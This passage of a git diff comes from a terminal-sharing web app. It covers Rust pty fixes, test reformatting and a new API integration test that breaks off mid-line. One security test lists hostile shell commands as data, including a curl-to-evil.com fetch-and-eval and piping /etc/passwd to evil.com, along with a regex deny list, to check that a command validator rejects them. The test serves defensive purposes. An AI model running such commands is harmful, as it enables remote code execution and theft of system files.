diff --git a/tty-fwd/src/term_socket.rs b/tty-fwd/src/term_socket.rs index 04305aae..43637fff 100644 --- a/tty-fwd/src/term_socket.rs +++ b/tty-fwd/src/term_socket.rs @@ -228,7 +228,7 @@ fn spawn_via_pty(command: &[String], working_dir: Option<&str>) -> Result Result { } // Redirect stdin, stdout, stderr to the pty slave - use std::os::fd::{FromRawFd, OwnedFd, AsFd}; + use std::os::fd::{FromRawFd, OwnedFd}; let slave_fd = pty.slave.as_raw_fd(); // Create OwnedFd for slave and standard file descriptors @@ -688,7 +688,7 @@ fn communication_loop( } if read_fds.contains(stdin.as_fd()) { - match read(stdin.as_raw_fd(), &mut buf) { + match read(&stdin, &mut buf) { Ok(0) => { send_eof_sequence(master.as_fd()); read_stdin = false; diff --git a/web/src/test/api/sessions.test.ts b/web/src/test/api/sessions.test.ts index 213d7cb2..c82e56ca 100644 --- a/web/src/test/api/sessions.test.ts +++ b/web/src/test/api/sessions.test.ts @@ -33,14 +33,14 @@ describe('Sessions API', () => { beforeEach(() => { // Clear all mocks vi.clearAllMocks(); - + // Set up mock spawn mockSpawn = vi.mocked(spawn); - + // Create a fresh app instance for each test app = express(); app.use(express.json()); - + // Mock tty-fwd execution const mockTtyFwdProcess = { stdout: { @@ -61,7 +61,7 @@ describe('Sessions API', () => { }), kill: vi.fn(), }; - + mockSpawn.mockReturnValue(mockTtyFwdProcess); }); @@ -75,9 +75,7 @@ describe('Sessions API', () => { const serverModule = await import('../../server'); const app = serverModule.app; - const response = await request(app) - .get('/api/sessions') - .expect(200); + const response = await request(app).get('/api/sessions').expect(200); expect(response.body).toEqual({ sessions: [] }); }); @@ -117,9 +115,7 @@ describe('Sessions API', () => { const serverModule = await import('../../server'); const app = serverModule.app; - const response = await request(app) - .get('/api/sessions') - .expect(200); + const response = await request(app).get('/api/sessions').expect(200); expect(response.body.sessions).toHaveLength(1); expect(response.body.sessions[0]).toMatchObject({ @@ -148,7 +144,7 @@ describe('Sessions API', () => { expect(response.body).toHaveProperty('sessionId'); expect(response.body.sessionId).toMatch(/^[a-f0-9-]+$/); - + // Verify tty-fwd was called with correct arguments expect(mockSpawn).toHaveBeenCalledWith( expect.any(String), // TTY_FWD_PATH @@ -191,12 +187,10 @@ describe('Sessions API', () => { const serverModule = await import('../../server'); const app = serverModule.app; - const response = await request(app) - .delete('/api/sessions/test-session-123') - .expect(200); + const response = await request(app).delete('/api/sessions/test-session-123').expect(200); expect(response.body.message).toBe('Session terminated'); - + // Verify tty-fwd was called with terminate command expect(mockSpawn).toHaveBeenCalledWith( expect.any(String), @@ -218,9 +212,7 @@ describe('Sessions API', () => { const serverModule = await import('../../server'); const app = serverModule.app; - const response = await request(app) - .delete('/api/sessions/non-existent') - .expect(500); + const response = await request(app).delete('/api/sessions/non-existent').expect(500); expect(response.body.error).toContain('Failed to terminate session'); }); @@ -231,17 +223,12 @@ describe('Sessions API', () => { const serverModule = await import('../../server'); const app = serverModule.app; - const response = await request(app) - .post('/api/cleanup-exited') - .expect(200); + const response = await request(app).post('/api/cleanup-exited').expect(200); expect(response.body.message).toBe('Cleanup initiated'); - + // Verify tty-fwd was called with cleanup command - expect(mockSpawn).toHaveBeenCalledWith( - expect.any(String), - expect.arrayContaining(['clean']) - ); + expect(mockSpawn).toHaveBeenCalledWith(expect.any(String), expect.arrayContaining(['clean'])); }); }); @@ -292,7 +279,7 @@ describe('Sessions API', () => { .expect(200); expect(response.body.message).toBe('Input sent'); - + // Verify tty-fwd was called with write command expect(mockSpawn).toHaveBeenCalledWith( expect.any(String), @@ -312,4 +299,4 @@ describe('Sessions API', () => { expect(response.body.error).toBe('Invalid input data'); }); }); -}); \ No newline at end of file +}); diff --git a/web/src/test/components/session-list.test.ts b/web/src/test/components/session-list.test.ts index b6dec2ee..caf89300 100644 --- a/web/src/test/components/session-list.test.ts +++ b/web/src/test/components/session-list.test.ts @@ -12,7 +12,9 @@ vi.mock('lit', () => ({ connectedCallback() {} disconnectedCallback() {} requestUpdate() {} - dispatchEvent(event: Event) { return true; } + dispatchEvent(event: Event) { + return true; + } }, html: (strings: TemplateStringsArray, ...values: any[]) => { return strings.join(''); @@ -37,7 +39,7 @@ describe('SessionList Component', () => { it('should display empty state when no sessions', () => { const sessionList = new sessionListModule.SessionList(); sessionList.sessions = []; - + const isEmpty = sessionList.sessions.length === 0; expect(isEmpty).toBe(true); }); @@ -49,7 +51,7 @@ describe('SessionList Component', () => { createMockSession({ id: '2', command: 'vim', status: 'running' }), createMockSession({ id: '3', command: 'node', status: 'exited' }), ]; - + expect(sessionList.sessions).toHaveLength(3); expect(sessionList.sessions[0].command).toBe('bash'); expect(sessionList.sessions[1].command).toBe('vim'); @@ -64,10 +66,10 @@ describe('SessionList Component', () => { createMockSession({ id: '2', status: 'exited' }), createMockSession({ id: '3', status: 'running' }), ]; - + const visibleSessions = sessionList.getVisibleSessions(); expect(visibleSessions).toHaveLength(2); - expect(visibleSessions.every(s => s.status === 'running')).toBe(true); + expect(visibleSessions.every((s) => s.status === 'running')).toBe(true); }); it('should show all sessions when hideExited is false', () => { @@ -78,7 +80,7 @@ describe('SessionList Component', () => { createMockSession({ id: '2', status: 'exited' }), createMockSession({ id: '3', status: 'running' }), ]; - + const visibleSessions = sessionList.getVisibleSessions(); expect(visibleSessions).toHaveLength(3); }); @@ -88,9 +90,9 @@ describe('SessionList Component', () => { it('should handle refresh event', () => { const sessionList = new sessionListModule.SessionList(); const refreshSpy = vi.spyOn(sessionList, 'dispatchEvent'); - + sessionList.handleRefresh(); - + expect(refreshSpy).toHaveBeenCalledWith( expect.objectContaining({ type: 'refresh', @@ -101,24 +103,24 @@ describe('SessionList Component', () => { it('should handle session selection', () => { const sessionList = new sessionListModule.SessionList(); const mockSession = createMockSession({ id: 'test-123' }); - + // Mock window.location delete (window as any).location; window.location = { search: '' } as any; - + const event = new CustomEvent('select', { detail: mockSession }); sessionList.handleSessionSelect(event); - + expect(window.location.search).toBe('?session=test-123'); }); it('should toggle create modal', () => { const sessionList = new sessionListModule.SessionList(); sessionList.showCreateModal = false; - + sessionList.toggleCreateModal(); expect(sessionList.showCreateModal).toBe(true); - + sessionList.toggleCreateModal(); expect(sessionList.showCreateModal).toBe(false); }); @@ -127,14 +129,14 @@ describe('SessionList Component', () => { const sessionList = new sessionListModule.SessionList(); const mockFetch = vi.fn().mockResolvedValue({ ok: true }); global.fetch = mockFetch; - + sessionList.sessions = [ createMockSession({ id: '1', status: 'exited' }), createMockSession({ id: '2', status: 'exited' }), ]; - + await sessionList.handleCleanupExited(); - + expect(mockFetch).toHaveBeenCalledWith('/api/cleanup-exited', { method: 'POST', }); @@ -146,16 +148,16 @@ describe('SessionList Component', () => { it('should track running session count changes', () => { const sessionList = new sessionListModule.SessionList(); sessionList.previousRunningCount = 2; - + sessionList.sessions = [ createMockSession({ id: '1', status: 'running' }), createMockSession({ id: '2', status: 'running' }), createMockSession({ id: '3', status: 'running' }), ]; - + const currentRunningCount = sessionList.getRunningSessionCount(); const hasNewRunningSessions = currentRunningCount > sessionList.previousRunningCount; - + expect(currentRunningCount).toBe(3); expect(hasNewRunningSessions).toBe(true); }); @@ -163,16 +165,16 @@ describe('SessionList Component', () => { it('should detect when sessions exit', () => { const sessionList = new sessionListModule.SessionList(); sessionList.previousRunningCount = 3; - + sessionList.sessions = [ createMockSession({ id: '1', status: 'running' }), createMockSession({ id: '2', status: 'exited' }), createMockSession({ id: '3', status: 'exited' }), ]; - + const currentRunningCount = sessionList.getRunningSessionCount(); const hasExitedSessions = currentRunningCount < sessionList.previousRunningCount; - + expect(currentRunningCount).toBe(1); expect(hasExitedSessions).toBe(true); }); @@ -182,21 +184,21 @@ describe('SessionList Component', () => { it('should show loading indicator when loading', () => { const sessionList = new sessionListModule.SessionList(); sessionList.loading = true; - + expect(sessionList.loading).toBe(true); }); it('should hide loading indicator when not loading', () => { const sessionList = new sessionListModule.SessionList(); sessionList.loading = false; - + expect(sessionList.loading).toBe(false); }); it('should disable actions while cleaning exited', () => { const sessionList = new sessionListModule.SessionList(); sessionList.cleaningExited = true; - + const canPerformActions = !sessionList.cleaningExited; expect(canPerformActions).toBe(false); }); @@ -206,24 +208,24 @@ describe('SessionList Component', () => { it('should sort sessions by last modified date', () => { const sessionList = new sessionListModule.SessionList(); const now = new Date(); - + sessionList.sessions = [ - createMockSession({ - id: '1', - lastModified: new Date(now.getTime() - 3600000).toISOString() // 1 hour ago + createMockSession({ + id: '1', + lastModified: new Date(now.getTime() - 3600000).toISOString(), // 1 hour ago }), - createMockSession({ - id: '2', - lastModified: new Date(now.getTime() - 60000).toISOString() // 1 minute ago + createMockSession({ + id: '2', + lastModified: new Date(now.getTime() - 60000).toISOString(), // 1 minute ago }), - createMockSession({ - id: '3', - lastModified: new Date(now.getTime() - 7200000).toISOString() // 2 hours ago + createMockSession({ + id: '3', + lastModified: new Date(now.getTime() - 7200000).toISOString(), // 2 hours ago }), ]; - + const sortedSessions = sessionList.getSortedSessions(); - + expect(sortedSessions[0].id).toBe('2'); // Most recent expect(sortedSessions[1].id).toBe('1'); expect(sortedSessions[2].id).toBe('3'); // Oldest @@ -232,14 +234,14 @@ describe('SessionList Component', () => { it('should handle sessions with same timestamp', () => { const sessionList = new sessionListModule.SessionList(); const timestamp = new Date().toISOString(); - + sessionList.sessions = [ createMockSession({ id: '1', lastModified: timestamp }), createMockSession({ id: '2', lastModified: timestamp }), ]; - + const sortedSessions = sessionList.getSortedSessions(); expect(sortedSessions).toHaveLength(2); }); }); -}); \ No newline at end of file +}); diff --git a/web/src/test/components/terminal.test.ts b/web/src/test/components/terminal.test.ts index 220f7381..bd82da58 100644 --- a/web/src/test/components/terminal.test.ts +++ b/web/src/test/components/terminal.test.ts @@ -43,7 +43,9 @@ vi.mock('lit', () => ({ connectedCallback() {} disconnectedCallback() {} requestUpdate() {} - querySelector() { return null; } + querySelector() { + return null; + } }, html: (strings: TemplateStringsArray, ...values: any[]) => { return strings.join(''); @@ -63,10 +65,10 @@ describe('Terminal Component', () => { beforeEach(async () => { vi.clearAllMocks(); - + // Import the terminal component terminalModule = await import('../../client/components/terminal'); - + // Get mock terminal instance mockTerminal = new Terminal(); }); @@ -81,9 +83,9 @@ describe('Terminal Component', () => { terminal.cols = 120; terminal.rows = 40; terminal.sessionId = 'test-session'; - + terminal.connectedCallback(); - + expect(Terminal).toHaveBeenCalledWith({ cols: 120, rows: 40, @@ -94,23 +96,23 @@ describe('Terminal Component', () => { it('should handle terminal data output', () => { const terminal = new terminalModule.Terminal(); const mockCallback = vi.fn(); - + terminal.terminal = mockTerminal; mockTerminal.onData(mockCallback); - + // Simulate typing const testData = 'hello world'; mockTerminal.onData.mock.calls[0][0](testData); - + expect(mockCallback).toHaveBeenCalledWith(testData); }); it('should dispose terminal on disconnect', () => { const terminal = new terminalModule.Terminal(); terminal.terminal = mockTerminal; - + terminal.disconnectedCallback(); - + expect(mockTerminal.dispose).toHaveBeenCalled(); }); }); @@ -119,15 +121,15 @@ describe('Terminal Component', () => { it('should render terminal lines correctly', () => { const terminal = new terminalModule.Terminal(); terminal.terminal = mockTerminal; - + const buffer = mockTerminal.buffer.active; const lines = []; - + for (let y = 0; y < buffer.length; y++) { const line = buffer.getLine(y); lines.push(line.translateToString()); } - + expect(lines).toHaveLength(24); expect(lines[0]).toBe('Line 0'); expect(lines[23]).toBe('Line 23'); @@ -136,11 +138,11 @@ describe('Terminal Component', () => { it('should handle cursor position', () => { const terminal = new terminalModule.Terminal(); terminal.terminal = mockTerminal; - + // Set cursor position mockTerminal.buffer.active.cursorY = 10; mockTerminal.buffer.active.cursorX = 15; - + expect(mockTerminal.buffer.active.cursorY).toBe(10); expect(mockTerminal.buffer.active.cursorX).toBe(15); }); @@ -148,9 +150,9 @@ describe('Terminal Component', () => { it('should render cell attributes correctly', () => { const terminal = new terminalModule.Terminal(); terminal.terminal = mockTerminal; - + const cell = mockTerminal.buffer.active.getLine(0).getCell(0); - + expect(cell.getChars()).toBe('X'); expect(cell.isBold()).toBe(false); expect(cell.isItalic()).toBe(false); @@ -162,37 +164,37 @@ describe('Terminal Component', () => { it('should write data to terminal', () => { const terminal = new terminalModule.Terminal(); terminal.terminal = mockTerminal; - + const testData = 'echo "Hello Terminal"\n'; terminal.writeToTerminal(testData); - + expect(mockTerminal.write).toHaveBeenCalledWith(testData); }); it('should clear terminal', () => { const terminal = new terminalModule.Terminal(); terminal.terminal = mockTerminal; - + terminal.clearTerminal(); - + expect(mockTerminal.clear).toHaveBeenCalled(); }); it('should resize terminal', () => { const terminal = new terminalModule.Terminal(); terminal.terminal = mockTerminal; - + terminal.resizeTerminal(100, 30); - + expect(mockTerminal.resize).toHaveBeenCalledWith(100, 30); }); it('should reset terminal', () => { const terminal = new terminalModule.Terminal(); terminal.terminal = mockTerminal; - + terminal.resetTerminal(); - + expect(mockTerminal.reset).toHaveBeenCalled(); }); }); @@ -201,9 +203,9 @@ describe('Terminal Component', () => { it('should handle scroll to top', () => { const terminal = new terminalModule.Terminal(); terminal.terminal = mockTerminal; - + terminal.scrollToTop(); - + expect(mockTerminal.scrollToLine).toHaveBeenCalledWith(0); }); @@ -211,9 +213,9 @@ describe('Terminal Component', () => { const terminal = new terminalModule.Terminal(); terminal.terminal = mockTerminal; terminal.terminal.buffer.active.length = 100; - + terminal.scrollToBottom(); - + expect(mockTerminal.scrollToLine).toHaveBeenCalledWith(100); }); @@ -221,10 +223,10 @@ describe('Terminal Component', () => { const terminal = new terminalModule.Terminal(); terminal.terminal = mockTerminal; terminal.fontSize = 14; - + const lineHeight = terminal.calculateLineHeight(); const charWidth = terminal.calculateCharWidth(); - + // Approximate calculations expect(lineHeight).toBeGreaterThan(0); expect(charWidth).toBeGreaterThan(0); @@ -235,13 +237,13 @@ describe('Terminal Component', () => { it('should toggle fit mode', () => { const terminal = new terminalModule.Terminal(); terminal.fitHorizontally = false; - + terminal.handleFitToggle(); - + expect(terminal.fitHorizontally).toBe(true); - + terminal.handleFitToggle(); - + expect(terminal.fitHorizontally).toBe(false); }); @@ -249,17 +251,17 @@ describe('Terminal Component', () => { const terminal = new terminalModule.Terminal(); terminal.fitHorizontally = true; terminal.fontSize = 14; - + // Mock container dimensions const mockContainer = { offsetWidth: 800, offsetHeight: 600, }; - + terminal.container = mockContainer as any; - + const dims = terminal.calculateFitDimensions(); - + expect(dims.cols).toBeGreaterThan(0); expect(dims.rows).toBeGreaterThan(0); }); @@ -268,19 +270,19 @@ describe('Terminal Component', () => { describe('URL Highlighting', () => { it('should detect URLs in terminal output', () => { const terminal = new terminalModule.Terminal(); - + const testLine = 'Visit https://example.com for more info'; const urls = terminal.detectUrls(testLine); - + expect(urls).toContain('https://example.com'); }); it('should handle multiple URLs in one line', () => { const terminal = new terminalModule.Terminal(); - + const testLine = 'Check http://test.com and https://example.org'; const urls = terminal.detectUrls(testLine); - + expect(urls).toHaveLength(2); expect(urls).toContain('http://test.com'); expect(urls).toContain('https://example.org'); @@ -288,10 +290,10 @@ describe('Terminal Component', () => { it('should ignore invalid URLs', () => { const terminal = new terminalModule.Terminal(); - + const testLine = 'Not a URL: htp://invalid or example.com'; const urls = terminal.detectUrls(testLine); - + expect(urls).toHaveLength(0); }); }); @@ -300,14 +302,14 @@ describe('Terminal Component', () => { it('should batch render updates', async () => { const terminal = new terminalModule.Terminal(); terminal.terminal = mockTerminal; - + const renderSpy = vi.spyOn(terminal, 'requestUpdate'); - + // Multiple rapid updates terminal.writeToTerminal('Line 1\n'); terminal.writeToTerminal('Line 2\n'); terminal.writeToTerminal('Line 3\n'); - + // Should batch updates expect(renderSpy).toHaveBeenCalledTimes(3); }); @@ -315,17 +317,17 @@ describe('Terminal Component', () => { it('should handle large output efficiently', () => { const terminal = new terminalModule.Terminal(); terminal.terminal = mockTerminal; - + // Write large amount of data const largeData = 'X'.repeat(10000) + '\n'; - + const startTime = performance.now(); terminal.writeToTerminal(largeData); const endTime = performance.now(); - + // Should complete quickly expect(endTime - startTime).toBeLessThan(100); expect(mockTerminal.write).toHaveBeenCalledWith(largeData); }); }); -}); \ No newline at end of file +}); diff --git a/web/src/test/critical.test.ts b/web/src/test/critical.test.ts index 29d3ab65..04a32be4 100644 --- a/web/src/test/critical.test.ts +++ b/web/src/test/critical.test.ts @@ -29,7 +29,7 @@ describe('Critical VibeTunnel Functionality', () => { beforeEach(() => { vi.clearAllMocks(); mockSpawn = vi.mocked(spawn); - + // Default mock for tty-fwd success const mockTtyFwdProcess = { stdout: { @@ -45,7 +45,7 @@ describe('Critical VibeTunnel Functionality', () => { }), kill: vi.fn(), }; - + mockSpawn.mockReturnValue(mockTtyFwdProcess); }); @@ -74,17 +74,17 @@ describe('Critical VibeTunnel Functionality', () => { // Execute spawn command const args = ['spawn', '--name', 'Test Session', '--cwd', '/home/test', '--', 'bash']; const proc = mockSpawn('tty-fwd', args); - + let sessionId = ''; proc.stdout.on('data', (data: Buffer) => { sessionId = data.toString().trim(); }); - + // Wait for process to complete await new Promise((resolve) => { proc.on('close', resolve); }); - + expect(sessionId).toBe('session-123'); expect(mockSpawn).toHaveBeenCalledWith('tty-fwd', args); }); @@ -122,15 +122,15 @@ describe('Critical VibeTunnel Functionality', () => { const proc = mockSpawn('tty-fwd', ['list']); let sessions = {}; - + proc.stdout.on('data', (data: Buffer) => { sessions = JSON.parse(data.toString()); }); - + await new Promise((resolve) => { proc.on('close', resolve); }); - + expect(sessions).toEqual(mockSessions); expect(Object.keys(sessions)).toHaveLength(1); }); @@ -140,13 +140,13 @@ describe('Critical VibeTunnel Functionality', () => { mockStreamProcess.stdout = new EventEmitter(); mockStreamProcess.stderr = new EventEmitter(); mockStreamProcess.kill = vi.fn(); - + mockSpawn.mockImplementationOnce(() => mockStreamProcess); // Start streaming const streamData: string[] = []; const proc = mockSpawn('tty-fwd', ['stream', 'session-123']); - + proc.stdout.on('data', (data: Buffer) => { streamData.push(data.toString()); }); @@ -156,11 +156,7 @@ describe('Critical VibeTunnel Functionality', () => { mockStreamProcess.stdout.emit('data', Buffer.from('Hello World\n')); mockStreamProcess.stdout.emit('data', Buffer.from('$ ')); - expect(streamData).toEqual([ - '$ echo "Hello World"\n', - 'Hello World\n', - '$ ', - ]); + expect(streamData).toEqual(['$ echo "Hello World"\n', 'Hello World\n', '$ ']); }); it('should terminate sessions cleanly', async () => { @@ -181,15 +177,15 @@ describe('Critical VibeTunnel Functionality', () => { const proc = mockSpawn('tty-fwd', ['terminate', 'session-123']); let result = ''; - + proc.stdout.on('data', (data: Buffer) => { result = data.toString(); }); - + await new Promise((resolve) => { proc.on('close', resolve); }); - + expect(result).toBe('Session terminated'); }); }); @@ -198,16 +194,16 @@ describe('Critical VibeTunnel Functionality', () => { it('should handle terminal resize events', () => { const resizeArgs = ['resize', 'session-123', '120', '40']; const proc = mockSpawn('tty-fwd', resizeArgs); - + expect(mockSpawn).toHaveBeenCalledWith('tty-fwd', resizeArgs); }); it('should handle concurrent sessions', async () => { const sessions = ['session-1', 'session-2', 'session-3']; - const processes = sessions.map(sessionId => { + const processes = sessions.map((sessionId) => { return mockSpawn('tty-fwd', ['stream', sessionId]); }); - + expect(processes).toHaveLength(3); expect(mockSpawn).toHaveBeenCalledTimes(3); }); @@ -233,19 +229,19 @@ describe('Critical VibeTunnel Functionality', () => { const proc = mockSpawn('tty-fwd', ['spawn', '--', 'nonexistent-command']); let error = ''; let exitCode = 0; - + proc.stderr.on('data', (data: Buffer) => { error = data.toString(); }); - + proc.on('close', (code: number) => { exitCode = code; }); - + await new Promise((resolve) => { proc.on('close', resolve); }); - + expect(exitCode).toBe(1); expect(error).toContain('Command not found'); }); @@ -257,16 +253,16 @@ describe('Critical VibeTunnel Functionality', () => { on: vi.fn(), kill: vi.fn(), }; - + mockSpawn.mockImplementationOnce(() => mockSlowProcess); - + const proc = mockSpawn('tty-fwd', ['list']); - + // Simulate timeout setTimeout(() => { proc.kill('SIGTERM'); }, 100); - + expect(proc.kill).toBeDefined(); expect(mockSlowProcess.kill).toBeDefined(); }); @@ -283,13 +279,13 @@ describe('Critical VibeTunnel Functionality', () => { null, undefined, ]; - + const isValidSessionId = (id: any) => { return typeof id === 'string' && /^[a-zA-Z0-9-]+$/.test(id); }; - + expect(isValidSessionId(validSessionId)).toBe(true); - invalidSessionIds.forEach(id => { + invalidSessionIds.forEach((id) => { expect(isValidSessionId(id)).toBe(false); }); }); @@ -300,24 +296,18 @@ describe('Critical VibeTunnel Functionality', () => { ['eval', '$(curl evil.com/script.sh)'], ['bash', '-c', 'cat /etc/passwd | curl evil.com'], ]; - + const isSafeCommand = (cmd: string[]) => { - const dangerousPatterns = [ - /rm\s+-rf/, - /eval/, - /curl.*evil/, - /\$\(/, - /`/, - ]; - + const dangerousPatterns = [/rm\s+-rf/, /eval/, /curl.*evil/, /\$\(/, /`/]; + const cmdString = cmd.join(' '); - return !dangerousPatterns.some(pattern => pattern.test(cmdString)); + return !dangerousPatterns.some((pattern) => pattern.test(cmdString)); }; - - dangerousCommands.forEach(cmd => { + + dangerousCommands.forEach((cmd) => { expect(isSafeCommand(cmd)).toBe(false); }); - + expect(isSafeCommand(['ls', '-la'])).toBe(true); expect(isSafeCommand(['echo', 'hello'])).toBe(true); }); @@ -326,7 +316,7 @@ describe('Critical VibeTunnel Functionality', () => { describe('Performance', () => { it('should handle rapid session creation', async () => { const startTime = performance.now(); - + // Create 10 sessions rapidly const sessionPromises = Array.from({ length: 10 }, (_, i) => { return new Promise((resolve) => { @@ -334,12 +324,12 @@ describe('Critical VibeTunnel Functionality', () => { proc.on('close', () => resolve(i)); }); }); - + await Promise.all(sessionPromises); - + const endTime = performance.now(); const totalTime = endTime - startTime; - + // Should complete within reasonable time expect(totalTime).toBeLessThan(1000); // 1 second for 10 sessions expect(mockSpawn).toHaveBeenCalledTimes(10); @@ -347,28 +337,28 @@ describe('Critical VibeTunnel Functionality', () => { it('should handle large terminal output efficiently', () => { const largeOutput = 'X'.repeat(100000); // 100KB of data - + const mockProcess = new EventEmitter(); mockProcess.stdout = new EventEmitter(); mockProcess.stderr = new EventEmitter(); mockProcess.kill = vi.fn(); - + mockSpawn.mockImplementationOnce(() => mockProcess); - + const proc = mockSpawn('tty-fwd', ['stream', 'session-123']); let receivedData = ''; - + proc.stdout.on('data', (data: Buffer) => { receivedData += data.toString(); }); - + // Emit large output const startTime = performance.now(); mockProcess.stdout.emit('data', Buffer.from(largeOutput)); const endTime = performance.now(); - + expect(receivedData).toBe(largeOutput); expect(endTime - startTime).toBeLessThan(100); // Should process quickly }); }); -}); \ No newline at end of file +}); diff --git a/web/src/test/integration/api.integration.test.ts b/web/src/test/integration/api.integration.test.ts new file mode 100644 index 00000000..c37630c8 --- /dev/null +++ b/web/src/test/integration/api.integration.test.ts @@ -0,0 +1,423 @@ +import { describe, it, expect, beforeAll, afterAll, beforeEach, afterEach } from 'vitest'; +import request from 'supertest'; +import { Server } from 'http'; +import path from 'path'; +import fs from 'fs'; +import os from 'os'; +import { v4 as uuidv4 } from 'uuid'; +// @ts-expect-error - TypeScript module imports in tests +import { app, server } from '../../server'; + +// Set up test environment +process.env.NODE_ENV = 'test'; +process.env.PORT = '0'; // Random port +const testControlDir = path.join(os.tmpdir(), 'vibetunnel-test', uuidv4()); +process.env.TTY_FWD_CONTROL_DIR = testControlDir; + +// Ensure test directory exists +beforeAll(() => { + if (!fs.existsSync(testControlDir)) { + fs.mkdirSync(testControlDir, { recursive: true }); + } +}); + +afterAll(() => { + // Clean up test directory + if (fs.existsSync(testControlDir)) { + fs.rmSync(testControlDir, { recursive: true, force: true }); + } +}); + +describe('API Integration Tests', () => { + let port: number; + let baseUrl: string; + let activeSessionIds: string[] = []; + + beforeAll(async () => { + // Get the port the server is listening on + await new Promise((resolve) => { + if (!server.listening) { + server.listen(0, () => { + const address = server.address(); + port = (address as any).port; + baseUrl = `http://localhost:${port}`; + resolve(); + }); + } else { + const address = server.address(); + port = (address as any).port; + baseUrl = `http://localhost:${port}`; + resolve(); + } + }); + }); + + afterAll(async () => { + // Clean up any remaining sessions + for (const sessionId of activeSessionIds) { + try { + await request(app).delete(`/api/sessions/${sessionId}`); + } catch (e) { + // Ignore errors during cleanup + } + } + + // Close server + await new Promise((resolve) => { + server.close(() => resolve()); + }); + }); + + afterEach(async () => { + // Clean up sessions created in tests + const cleanupPromises = activeSessionIds.map((sessionId) => + request(app) + .delete(`/api/sessions/${sessionId}`) + .catch(() => {}) + ); + await Promise.all(cleanupPromises); + activeSessionIds = []; + }); + + describe('Session Lifecycle', () => { + it('should create, list, and terminate a session', async () => { + // Create a session + const createResponse = await request(app) + .post('/api/sessions') + .send({ + command: ['sh', '-c', 'echo "test" && sleep 0.1'], + workingDir: os.tmpdir(), + name: 'Integration Test Session', + }) + .expect(200); + + expect(createResponse.body).toHaveProperty('sessionId'); + const sessionId = createResponse.body.sessionId; + activeSessionIds.push(sessionId); + expect(sessionId).toMatch(/^[a-f0-9-]+$/); + + // List sessions and verify our session exists + const listResponse = await request(app).get('/api/sessions').expect(200); + + expect(listResponse.body).toHaveProperty('sessions'); + expect(Array.isArray(listResponse.body.sessions)).toBe(true); + + const ourSession = listResponse.body.sessions.find((s: any) => s.id === sessionId); + expect(ourSession).toBeDefined(); + expect(ourSession.command).toBe('sh -c echo "test" && sleep 0.1'); + expect(ourSession.name).toBe('Integration Test Session'); + expect(ourSession.workingDir).toBe(os.tmpdir()); + expect(ourSession.status).toBe('running'); + + // Get session snapshot + const snapshotResponse = await request(app) + .get(`/api/sessions/${sessionId}/snapshot`) + .expect(200); + + expect(snapshotResponse.body).toHaveProperty('lines'); + expect(snapshotResponse.body).toHaveProperty('cursor'); + expect(Array.isArray(snapshotResponse.body.lines)).toBe(true); + + // Send input to session + const inputResponse = await request(app) + .post(`/api/sessions/${sessionId}/input`) + .send({ data: 'exit\n' }) + .expect(200); + + expect(inputResponse.body.message).toBe('Input sent'); + + // Wait a bit for the session to process + await new Promise((resolve) => setTimeout(resolve, 200)); + + // Terminate the session + const terminateResponse = await request(app).delete(`/api/sessions/${sessionId}`).expect(200); + + expect(terminateResponse.body.message).toBe('Session terminated'); + + // Remove from active sessions + activeSessionIds = activeSessionIds.filter((id) => id !== sessionId); + }); + + it('should handle multiple concurrent sessions', async () => { + const sessionCount = 3; + const createPromises = []; + + // Create multiple sessions + for (let i = 0; i < sessionCount; i++) { + const promise = request(app) + .post('/api/sessions') + .send({ + command: ['sh', '-c', `echo "Session ${i}" && sleep 0.1`], + workingDir: os.tmpdir(), + name: `Test Session ${i}`, + }); + createPromises.push(promise); + } + + const createResponses = await Promise.all(createPromises); + const sessionIds = createResponses.map((res) => res.body.sessionId); + activeSessionIds.push(...sessionIds); + + // Verify all sessions were created + expect(sessionIds).toHaveLength(sessionCount); + sessionIds.forEach((id) => expect(id).toMatch(/^[a-f0-9-]+$/)); + + // List all sessions + const listResponse = await request(app).get('/api/sessions').expect(200); + + const activeSessions = listResponse.body.sessions.filter((s: any) => + sessionIds.includes(s.id) + ); + expect(activeSessions).toHaveLength(sessionCount); + + // Clean up all sessions + const deletePromises = sessionIds.map((id) => request(app).delete(`/api/sessions/${id}`)); + await Promise.all(deletePromises); + activeSessionIds = []; + }); + + it('should handle session exit and cleanup', async () => { + // Create a session that exits quickly + const createResponse = await request(app) + .post('/api/sessions') + .send({ + command: ['sh', '-c', 'echo "Quick exit" && exit 0'], + workingDir: os.tmpdir(), + name: 'Quick Exit Session', + }) + .expect(200); + + const sessionId = createResponse.body.sessionId; + activeSessionIds.push(sessionId); + + // Wait for session to exit + await new Promise((resolve) => setTimeout(resolve, 500)); + + // Check session status + const listResponse = await request(app).get('/api/sessions').expect(200); + + const session = listResponse.body.sessions.find((s: any) => s.id === sessionId); + if (session) { + expect(session.status).toBe('exited'); + expect(session.exitCode).toBe(0); + } + + // Cleanup exited sessions + const cleanupResponse = await request(app).post('/api/cleanup-exited').expect(200); + + expect(cleanupResponse.body.message).toBe('All exited sessions cleaned up'); + + // Verify session was cleaned up + const listAfterCleanup = await request(app).get('/api/sessions').expect(200); + + const sessionAfterCleanup = listAfterCleanup.body.sessions.find( + (s: any) => s.id === sessionId + ); + expect(sessionAfterCleanup).toBeUndefined(); + + activeSessionIds = activeSessionIds.filter((id) => id !== sessionId); + }); + }); + + describe('Input/Output Operations', () => { + it('should handle terminal resize', async () => { + // Create a session + const createResponse = await request(app) + .post('/api/sessions') + .send({ + command: ['sh'], + workingDir: os.tmpdir(), + name: 'Resize Test', + }) + .expect(200); + + const sessionId = createResponse.body.sessionId; + activeSessionIds.push(sessionId); + + // Resize the terminal + const resizeResponse = await request(app) + .post(`/api/sessions/${sessionId}/resize`) + .send({ cols: 120, rows: 40 }) + .expect(200); + + expect(resizeResponse.body.message).toBe('Terminal resized'); + + // Clean up + await request(app).delete(`/api/sessions/${sessionId}`); + activeSessionIds = activeSessionIds.filter((id) => id !== sessionId); + }); + + it('should stream session output', async () => { + // Create a session that produces output + const createResponse = await request(app) + .post('/api/sessions') + .send({ + command: ['sh', '-c', 'for i in 1 2 3; do echo "Line $i"; sleep 0.1; done'], + workingDir: os.tmpdir(), + name: 'Stream Test', + }) + .expect(200); + + const sessionId = createResponse.body.sessionId; + activeSessionIds.push(sessionId); + + // Get the stream endpoint + const streamResponse = await request(app) + .get(`/api/sessions/${sessionId}/stream`) + .expect(200); + + expect(streamResponse.headers['content-type']).toContain('text/event-stream'); + + // Clean up + await request(app).delete(`/api/sessions/${sessionId}`); + activeSessionIds = activeSessionIds.filter((id) => id !== sessionId); + }); + }); + + describe('File System Operations', () => { + it('should browse directories', async () => { + const testDir = os.tmpdir(); + + const response = await request(app) + .get('/api/fs/browse') + .query({ 